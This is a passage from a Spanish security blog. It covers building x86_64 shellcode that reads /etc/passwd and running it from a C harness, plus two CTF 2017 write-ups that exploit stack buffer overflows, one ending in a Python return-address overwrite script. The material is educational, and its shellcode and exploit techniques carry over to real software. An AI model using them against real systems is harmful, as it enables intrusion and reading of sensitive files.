                            //          "\x6f\x72\x6c\x64\x21\x0d\x0a"


int main(int argc, char **argv)
{
    (*(void(*)())code)();

    return 0;
}
gcc test.c -o test
./test
Hello wolrd!

Ejemplo leer fichero en 64 bits

Veamos como se construye el shellcode para leer el fichero /etc/passwd en un entorno x86_64 linux. Tenemos este código de ensamblador:

BITS64
global _start

section .text

_start:
jmp short _push_filename

_readfile:
; syscall open file (const char *filename, int flags, int mode)
; $rax=2 (sys_open); $rdi= puntero_a_nombre_fichero; $rsi=0 (read_only); $rdx=0644o (flags)
pop rdi ; puntero_a_nombre_fichero
xor rax, rax
add al, 2   ; set sys_open 
xor rsi, rsi ; set O_RDONLY flag
syscall
; en $rax nos devuelve el fd que apunta al fichero abierto

; syscall read file (unsigned int fd, char *buf, size_t count)
; $rax=0(sys_read); $rdi= $rax(fd) ; $rsi= puntero_a_memoria ; $rdx=0xfff(número de bytes a leer)
sub sp, 0xfff
lea rsi, [rsp]  ; $rsi = puntero a memoria donde vamos a guardar lo que leemos
mov rdi, rax    ; $rdi = fd devuelto en la syscall anterior
xor rdx, rdx
mov dx, 0xfff   ; $rdx = cantidad de bytes a leer
xor rax, rax    ; $rax = sys_read (0)
syscall
; $rax = bytes leídos

; syscall write to stdout (sys_write, unsigned int fd, const char *buf, size_t count)
; $rax=1(sys_write); $rdi= 0x1 (pantalla) ; $rsi= puntero_a_memoria ; $rdx= $rax (bytes leídos en el anterior syscall)
xor rdi, rdi
add dil, 1  ; set stdout fd = 1 (screen)
mov rdx, rax    ; bytes leídos en el anterior syscall
xor rax, rax
add al, 1   ; $rax = sys_write (1)
syscall

; syscall exit (int error_code=60) 
xor rax, rax
add al, 60  ; $rax = sys_exit (60)
syscall

_push_filename:
call _readfile
path: db "/etc/passwd"

En los comentarios del código explica los valores que deben tener los registros para hacer las llamadas al sistema. En este caso sería:

%rax Systemcall %rdi %rsi %rdx
0 sys_read unsigned int fd char *buf size_t count
1 sys_write unsigned int fd const char *buf size_t count
2 sys_open const char *filename int flags int mode

Enlaces a la lista completa de las llamadas a sistema para 32bits y para 64bits

Compilamos como en el ejemplo anterior:

nasm -f elf readfile.asm
ld -o readfile readfile.o

./readfile
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
....

Aquí se puede ver el shellcode a generar:

objdump -M intel -d readfile

readfile:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:       eb 3b                   jmp    4000bd <_push_filename>

0000000000400082 <_readfile>:
  400082:       5f                      pop    rdi
  400083:       48 31 c0                xor    rax,rax
  400086:       04 02                   add    al,0x2
  400088:       48 31 f6                xor    rsi,rsi
  40008b:       0f 05                   syscall
  40008d:       66 81 ec ff 0f          sub    sp,0xfff
  400092:       48 8d 34 24             lea    rsi,[rsp]
  400096:       48 89 c7                mov    rdi,rax
  400099:       48 31 d2                xor    rdx,rdx
  40009c:       66 ba ff 0f             mov    dx,0xfff
  4000a0:       48 31 c0                xor    rax,rax
  4000a3:       0f 05                   syscall
  4000a5:       48 31 ff                xor    rdi,rdi
  4000a8:       40 80 c7 01             add    dil,0x1
  4000ac:       48 89 c2                mov    rdx,rax
  4000af:       48 31 c0                xor    rax,rax
  4000b2:       04 01                   add    al,0x1
  4000b4:       0f 05                   syscall
  4000b6:       48 31 c0                xor    rax,rax
  4000b9:       04 3c                   add    al,0x3c
  4000bb:       0f 05                   syscall

00000000004000bd <_push_filename>:
  4000bd:       e8 c0 ff ff ff          call   400082 <_readfile>

00000000004000c2 <path>:
  4000c2:       2f                      (bad)
  4000c3:       65                      gs
  4000c4:       74 63                   je     400129 <path+0x67>
  4000c6:       2f                      (bad)
  4000c7:       70 61                   jo     40012a <path+0x68>
  4000c9:       73 73                   jae    40013e <path+0x7c>
  4000cb:       77 64                   ja     400131 <path+0x6f>

Para extraer el shellcode en la consola de linux:

for i in `objdump -d readfile | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done

\xeb\x3b\x5f\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xc0\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64

Si inyectamos nuestro shellcode o bytecode en otro programa de C, quedaría de la siguiente manera:

const char code[] = "\xeb\x3b\x5f\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xc0\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64";

int main(int argc, char **argv)
{
    (*(void(*)())code)();

    return 0;
}

Ahora sólo tendremos que compilarlo y ver como nuestro shellcode inyectado funciona:

gcc test2.c -o test2 
./test2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

That's all folks!

Fwhibbit CTF 2017 - Red Pill

Published on:

Enunciado

Red Pill

Points: 150

Country: India

Attatchment: https://mega.nz/#!NlMlkB6I!ypUjeh2I27f9U5cTu1r_XJBROOV-BQJriRvXeKn_xuk

Description: Deciding between the blue pill or the red pill is a tricky decision. But now...we already make a choice. Try to give the red pill to the rabbits.

Solución

Este en realidad se supone que era un exploiting pero se podía solucionar haciendo reversing. Veamos las características del binario:

file redpill 
redpill: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e3c09eea4928ac041095632410c29d84b538830f, stripped
gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : ENABLED
RELRO     : Partial

Si lo ejecutamos y le pasamos como argumento una cadena de caracteres muy larga va a petar:

./redpill AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 Take the Red Pill!! 

     Red Pill  0x50444552
     Your Pill 0x41414141

  Blue Pill
Segmentation fault

Vamos a crear un patrón de caracteres para averiguar el offset con metasploit:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

Lo metemos en gdb y nos da una dirección que se corresponde con una parte del patrón anteior. Esta dirección se la pasamos a metasploit otra vez y nos da el offset:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 150 -q 0x80001660
[*] No exact matches, looking for likely candidates...

Ooops, parece que no hay ningún offset. Tendremos que probar a ejecutarlo en gdb y calcular a mano el offset o tener en cuenta la información que nos da al ejecutarlo sobre las posiciones de memoria de Red Pill y Your Pill.

Lo primero que observamos en el código ensamblador es la necesidad de pasarle un parámetro al ejecutable:

1486:  83 3f 01                cmp    DWORD PTR [edi],0x1        <== Si sólo hay un parámetro no salta y se para
1489:   75 3c                   jne    14c7 <main@@Base+0x99>  
   0x800014de <main+176>:    mov    ebx,esi
=> 0x800014e0 <main+178>:  call   0x80000e20 <strcpy@plt>          <== Función vulnerable que sobreescribe la posición de retorno del stack frame actual
   0x800014e5 <main+183>: add    esp,0x10

La pila antes de llamar a strcpy:

0xbffff280:    0xbffff2a5  0xbffff550  0xbffff2e8  0x80001454
0xbffff290: 0xb7eb9740  0x80004085  0x8000407c  0x8000166d
0xbffff2a0: 0xffffffff  0x80004000  0xbffff2c8  0x800016d9
0xbffff2b0: 0x00000001  0x0000ffff  0xb7fa5f2c  0x800016c5
0xbffff2c0: 0xb7dbf3dc  0x80004000  0x00000002  0x0b103743

La pila después de llamar a strcpy:

0xbffff290:    0xb7eb9740  0x80004085  0x8000407c  0x8000166d
0xbffff2a0: 0xffffffff  0x41414100  0x41414141  0x41414141
0xbffff2b0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2c0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2d0: 0x41414141  0x41414141  0xbf004141  0x00000000

Si seguimos ejecutando el código, vemos que hay una comparación de una variable local con un valor, que casualmente es el valor de red pill:

   0x80001510 <main+226>:    add    esp,0x10
=> 0x80001513 <main+229>:  cmp    DWORD PTR [ebp-0x1c],0x50444552     <== Valor de red pill
   0x8000151a <main+236>: jne    0x8000161a <main+492>

Este valor de redpill lo hemos sobrescrito cuando hemos llamado a la función strcpy como se puede ver en la memoria:

x/32xw $ebp-0x1c
0xbffff27c: 0x41414141  0x41414141  0x41414141  0x41414141

Si en el gdb directamente cambiamos ese valor:

set {int}0xbffff27c=0x50444552

Vemos que ahora el contenido de la posición de memoria va a coincidir con el valor de red pill:

x/32xw $ebp-0x1c
0xbffff27c: 0x50444552  0x41414141  0x41414141  0x41414141

Si seguimos ejecutando el programa dentro de gdb:

gdb-peda$ c
Continuing.

  Red Pill
  fwhibbit{t4ke-b0th_1346651474} 

Program received signal SIGSEGV, Segmentation fault.

¡Bingo! Ya tenemos el flag y sin tener que escribir ningún cutre script de explotación :)

Fwhibbit CTF 2017 - Find the Carrots

Published on:
Tags: exploiting

Enunciado

Find the Carrots

Points: 300

Country: Mexico

Attatchment: https://mega.nz/#!twM1nYCA!qXDWql7ER6gLYj6eaT7iG-12sFdH3ozePk0VDl_xLwk

Description: We all know that rabbits' favorite food is carrots. Help the rabbits to eat their favorite food today and be careful with the birds...good luck!

Solución

Se trata del clásico buffer overflow que peta cuando le metes más caracteres de los debidos:

./carrots 
 Where is my carrot?
 > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Segmentation fault

Veamos las protecciones que tiene el binario:

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Sólo tiene habilitado la no ejecucción en la pila, vamos a crear un patrón de caracteres para averiguar el offset con metasploit:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

Lo metemos en gdb y nos da una dirección que se corresponde con una parte del patrón anteior. Esta dirección se la pasamos a metasploit otra vez y nos da el offset:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 150 -q 0x37654136
[*] Exact match at offset 140

Si nos fijamos en la función main vemos que hay una llamada a la función que recoge nuestros datos por consola, esta función es vulnerable a un buffer overflow. Si metemos más de 140 caracteres vamos a sobreescribir el stack frame de main.

 08049790 <main>:
 8049790:   55                      push   ebp
 8049791:   89 e5                   mov    ebp,esp
 8049793:   81 ec a8 00 00 00       sub    esp,0xa8
 8049799:   c7 45 fc 44 52 49 42    mov    DWORD PTR [ebp-0x4],0x42495244
 80497a0:   c7 45 f8 00 00 00 00    mov    DWORD PTR [ebp-0x8],0x0
 80497a7:   e8 64 fa ff ff          call   8049210 <_Z6bannerv>             <== Pinta el dibujito
 80497ac:   8d 05 4a a0 04 08       lea    eax,ds:0x804a04a
 80497b2:   89 04 24                mov    DWORD PTR [esp],eax
 80497b5:   e8 a6 f7 ff ff          call   8048f60 <printf@plt>             <== Muestra la pregunta por pantalla
 80497ba:   8d 0d a0 c0 04 08       lea    ecx,ds:0x804c0a0
 80497c0:   8d 95 78 ff ff ff       lea    edx,[ebp-0x88]
 80497c6:   89 0c 24                mov    DWORD PTR [esp],ecx
 80497c9:   89 54 24 04             mov    DWORD PTR [esp+0x4],edx
 80497cd:   89 85 74 ff ff ff       mov    DWORD PTR [ebp-0x8c],eax
 80497d3:   e8 c8 f7 ff ff          call   8048fa0                          <== Función vulnerable que recoge los datos introducidos
 80497d8:   81 7d f8 00 00 00 00    cmp    DWORD PTR [ebp-0x8],0x0
 80497df:   89 85 70 ff ff ff       mov    DWORD PTR [ebp-0x90],eax
 80497e5:   0f 85 14 00 00 00       jne    80497ff <main+0x6f>
 80497eb:   31 c0                   xor    eax,eax
 80497ed:   c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 80497f4:   89 85 6c ff ff ff       mov    DWORD PTR [ebp-0x94],eax
 80497fa:   e8 a1 f8 ff ff          call   80490a0 <exit@plt>
 80497ff:   31 c0                   xor    eax,eax
 8049801:   8b 4d f8                mov    ecx,DWORD PTR [ebp-0x8]          
 8049804:   89 0d d0 c1 04 08       mov    DWORD PTR ds:0x804c1d0,ecx    
 804980a:   8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
 804980d:   89 0d d4 c1 04 08       mov    DWORD PTR ds:0x804c1d4,ecx
 8049813:   8b 4d 04                mov    ecx,DWORD PTR [ebp+0x4]
 8049816:   89 0d d8 c1 04 08       mov    DWORD PTR ds:0x804c1d8,ecx
 804981c:   81 c4 a8 00 00 00       add    esp,0xa8
 8049822:   5d                      pop    ebp
 8049823:   c3                      ret                                     <== Sobreescribir aquí el EIP antes de llamar a ret

Situación de la pila después de la llamada a la función y tras haber introducido 140 caracteres, los últimos 4 caracteres son diferentes para identificar donde está la posición de memoria de retorno que hemos machacado:

br *0x80497d8
 > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

gdb-peda$ x/64xw $esp
0xbffff290: 0x0804c0a0  0xbffff33c  0xb7dbfe00  0xb7dbfdfc
0xbffff2a0: 0xb7fac504  0xb7c13618  0xb7c3a870  0x00000018
0xbffff2b0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2c0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2d0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2e0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff2f0: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff300: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff310: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff320: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff330: 0x41414141  0x41414141  0x42424242  0xb7c24200

Una vez que sabemos que si introducimos 140 caracteres va a sobreescribir el EIP del stack frame de main, si metemos 136 caracteres y una dirección de memoria donde dirigir el flujo del programa (posición ocupada por BBBB y cuyo valor es 0xbffff33c). Lo suyo sería dirigir el programa hacia una dirección donde nos muestre el flag que buscamos, pero... ¿cual es esa dirección de memoria?
Si echamos un vistazo a las strings, vemos que hay unas cadenas que podrían darnos una pista de donde va a mostrarnos el flag:

rabin2 -z carrots | grep arrot
vaddr=0x08049fd5 paddr=0x00001fd5 ordinal=018 sz=38 len=37 section=.rodata type=ascii string=\n Yes! My Carrot is here! mmmm ... \n 

Buscando en el código encontramos la función desde la que se llama a esa string:

objdump -M intel -drw carrots | grep 49fd5 -6
08049570 <_Z6CARROTv>:
 8049570:   55                      push   ebp
 8049571:   89 e5                   mov    ebp,esp
 8049573:   53                      push   ebx
 8049574:   56                      push   esi
 8049575:   81 ec 90 00 00 00       sub    esp,0x90
 804957b:   8d 05 d5 9f 04 08       lea    eax,ds:0x8049fd5          <== Dirección de la string que buscamos con el grep
 8049581:   89 04 24                mov    DWORD PTR [esp],eax
 8049584:   e8 d7 f9 ff ff          call   8048f60 <printf@plt>
 8049589:   81 3d d4 c1 04 08 44 52 49 42   cmp    DWORD PTR ds:0x804c1d4,0x42495244
 8049593:   89 45 a8                mov    DWORD PTR [ebp-0x58],eax
 8049596:   0f 84 22 00 00 00       je     80495be <_Z6CARROTv+0x4e>
 804959c:   8d 05 fb 9f 04 08       lea    eax,ds:0x8049ffb

Nuestra función objetivo es "_Z6CARROTv", sólo nos queda apuntar el EIP a 0x08049570. Si lo probamos dentro del gdb, hay que cambiar las BBBB que está en la posición 0xbffff33c por el valor 0x08049570:

set {int}0xbffff33c=0x08049570
gdb-peda$ c
Continuing.

 Yes! My Carrot is here! mmmm ... 
  ~(‾▿‾)~   Oh NO! We hate birds :( 

Ooops! Something is wrong here. ¿Qué ha pasado? Parece que no era tan fácil como parecía. Echemos un vistazo a la función "_Z6CARROTv" a ver si encontramos algo:

 8049575:  81 ec 90 00 00 00       sub    esp,0x90
 804957b:   8d 05 d5 9f 04 08       lea    eax,ds:0x8049fd5
 8049581:   89 04 24                mov    DWORD PTR [esp],eax
 8049584:   e8 d7 f9 ff ff          call   8048f60 <printf@plt>
 8049589:   81 3d d4 c1 04 08 44 52 49 42   cmp    DWORD PTR ds:0x804c1d4,0x42495244    <= Compara el contenido de una posición de memoria con el valor 0x42495244
 8049593:   89 45 a8                mov    DWORD PTR [ebp-0x58],eax
 8049596:   0f 84 22 00 00 00       je     80495be <_Z6CARROTv+0x4e>
 804959c:   8d 05 fb 9f 04 08       lea    eax,ds:0x8049ffb
 80495a2:   89 04 24                mov    DWORD PTR [esp],eax
 80495a5:   e8 b6 f9 ff ff          call   8048f60 <printf@plt>
 80495aa:   31 c9                   xor    ecx,ecx
 80495ac:   c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 80495b3:   89 45 a4                mov    DWORD PTR [ebp-0x5c],eax
 80495b6:   89 4d a0                mov    DWORD PTR [ebp-0x60],ecx
 80495b9:   e8 e2 fa ff ff          call   80490a0 <exit@plt>
 80495be:   a1 d8 c1 04 08          mov    eax,ds:0x804c1d8

Tenemos una comparación entre el valor 0x42495244 (que en ASCII es 'BIRD", ¡son unos cachondos dando pistas!) y la posición de memoria 0x804c1d4, que es la variable 'c1' y contiene lo siguiente:

x/32xw 0x804c1d4
0x804c1d4 <c1>:   0x41414141  0xb7c24200  0x00000000  0x00000000

Mmm... no creo que sea casualidad que haya 'AAAA' en esa posición de memoria. Sospecho que en la función main guarda un valor en esa posición de memoria para asegurarse que nadie modifica la pila. Lo que se conoce como el canary stack, pero debe ser un canary hardcodeado en el propio código porque antes hemos visto que no estaba habilitado esa protección en el binario. Volvamos a la función main y veamos cuando guarda ese valor y como podemos saltarnos el canary hardcodeado:

 08049790 <main>:
 8049790:   55                      push   ebp
 8049791:   89 e5                   mov    ebp,esp
 8049793:   81 ec a8 00 00 00       sub    esp,0xa8
 8049799:   c7 45 fc 44 52 49 42    mov    DWORD PTR [ebp-0x4],0x42495244  <== Guarda como valor local(var_4) el valor hardcodeado del canary
 80497a0:   c7 45 f8 00 00 00 00    mov    DWORD PTR [ebp-0x8],0x0         <== Guarda un 0 en la variable local var_8
 ...........
 80497cd:   89 85 74 ff ff ff       mov    DWORD PTR [ebp-0x8c],eax
 80497d3:   e8 c8 f7 ff ff          call   8048fa0                          <== Función vulnerable que recoge los datos introducidos
 80497d8:   81 7d f8 00 00 00 00    cmp    DWORD PTR [ebp-0x8],0x0          <== Comprueba si ha habido algún error en la llamada a la función
 80497df:   89 85 70 ff ff ff       mov    DWORD PTR [ebp-0x90],eax
 80497e5:   0f 85 14 00 00 00       jne    80497ff <main+0x6f>              <== Si hay un error ($eax<>0) sigue y sale del programa
 80497eb:   31 c0                   xor    eax,eax
 80497ed:   c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 80497f4:   89 85 6c ff ff ff       mov    DWORD PTR [ebp-0x94],eax
 80497fa:   e8 a1 f8 ff ff          call   80490a0 <exit@plt>
 80497ff:   31 c0                   xor    eax,eax                         <== Sigue por aquí si no ha habido un error
 8049801:   8b 4d f8                mov    ecx,DWORD PTR [ebp-0x8]         <== Recupera el valor de var_8   
 8049804:   89 0d d0 c1 04 08       mov    DWORD PTR ds:0x804c1d0,ecx      <== Guarda var_8 en la posición 0x804c1d0
 804980a:   8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]         <== Recupera el valor del canary hardcodeado guardado en var_4
 804980d:   89 0d d4 c1 04 08       mov    DWORD PTR ds:0x804c1d4,ecx      <== Guarda el valor hardcodeado en la posición 0x804c1d4
 8049813:   8b 4d 04                mov    ecx,DWORD PTR [ebp+0x4]         <== Recupera un valor del stack frame previo
 8049816:   89 0d d8 c1 04 08       mov    DWORD PTR ds:0x804c1d8,ecx      <== Guarda el valor anterior en la posición 0x804c1d8
 804981c:   81 c4 a8 00 00 00       add    esp,0xa8
 8049822:   5d                      pop    ebp
 8049823:   c3                      ret                                   

Si observamos la pila antes de meter el offset en nuestra función de recogida de datos tenemos los siguientes valores:

x/32xw $ebp-0x4
0xbffff334: 0x42495244  0x00000000  0xb7c24276  0x00000001

Si la observamos después de meter el offset de 140 caracteres, se puede comprobar que hemos machadado tres valores que guarda en memoria y que luego va a usar para saber si hemos modificado la pila:

gdb-peda$ x/32xw $ebp-0x4
0xbffff334: 0x41414141  0x42424242  0xb7c24200  0x00000001

Ok, entonces no solo tenemos que poner la dirección donde queremos enviar el flujo del programa además debemos mantener esos valores para que no nos dé el error anterior. Para eso cambiamos los valores en gdb para evitar el canary:

set {int}0xbffff334=0x42495244
set {int}0xbffff338=0x00000000
set {int}0xbffff33c=0x08049570

Si seguimos la ejeucción del programa dentro del gdb nos da lo siguiente:

Yes! My Carrot is here! mmmm ... 
fwhibbit{Carrots_for_All_dabd8800}

Ya tenemos el flag, pero si lo introducimos en el panel del CTF nos dice que no es correcto. WTF!!!!

Aquí es donde me ofusque con este reto y empecé a hacer todo tipo de pruebas dentro de gdb para ver porque esa no era el flag correcto. Después de medio día perdido volviendome loco y gracias a un admin del CTF al que pregunté y me dijo que no tenía que hacer el reversing del binario sino que tenía que explotarlo. Fue entonces cuando entendí que tenía que ejecutar el exploit fuera del gdb porque los últimos valores del flag(dabd8800) eran el valor de una posición de memoria. Y cuando ejecutas el programa para debugearlo esas posiciones son diferentes a cuando lo haces directamente sobre el sistema. Por lo tanto hice mi cutre script en python y así conseguí explotar el programa. :-)

#!/usr/bin/python

# Fichero explotalo.py 

# Exploit ROP



from struct import pack

binary = "carrots"
junk = "A" * 132

rop = pack('<I', 0x42495244)   
rop += pack('<I', 0x00000000)    
rop += pack('<I', 0x08049570)   


payload = junk + rop 
print payload

Por fin la solución final:

root@LOL:~/fwhibbitCTF/pwn# python explotalo.py > file.txt 
root@LOL:~/fwhibbitCTF/pwn# ./carrots < file.txt 

        .--``..---.                
         .````--:ohdmNms/`         
          -:/+++/-.:smNd+          
       ```..--:ohmNNdhh.           
     `-. `.``.-+sosshd.         :. 
   -os--/sosdmmNNMMNy         .+// 
  :h+.+hNNMMMNNNMMNm/      `/yNN.` 
 .do/oNNMMMMMmohs+:`    .+hNMMMM-` 
 `yohNhNNNMh-           dosNMMMmo- 
  -mN+hMMMy             .smNMNdd/+`
   yN.hMMh               +NMMNmhds:
   +N//m+                 .osshyho 
  ..smhh                           
   ::oNmy-                         
      .//yhs/:`                    
          :ymNN/                   
         .-+shdho.                 
             `.--..` '''   

 Where is my carrot?
 > 
 Yes! My Carrot is here! mmmm ... 
 fwhibbit{Carrots_for_All_160591c0}
Segmentation fault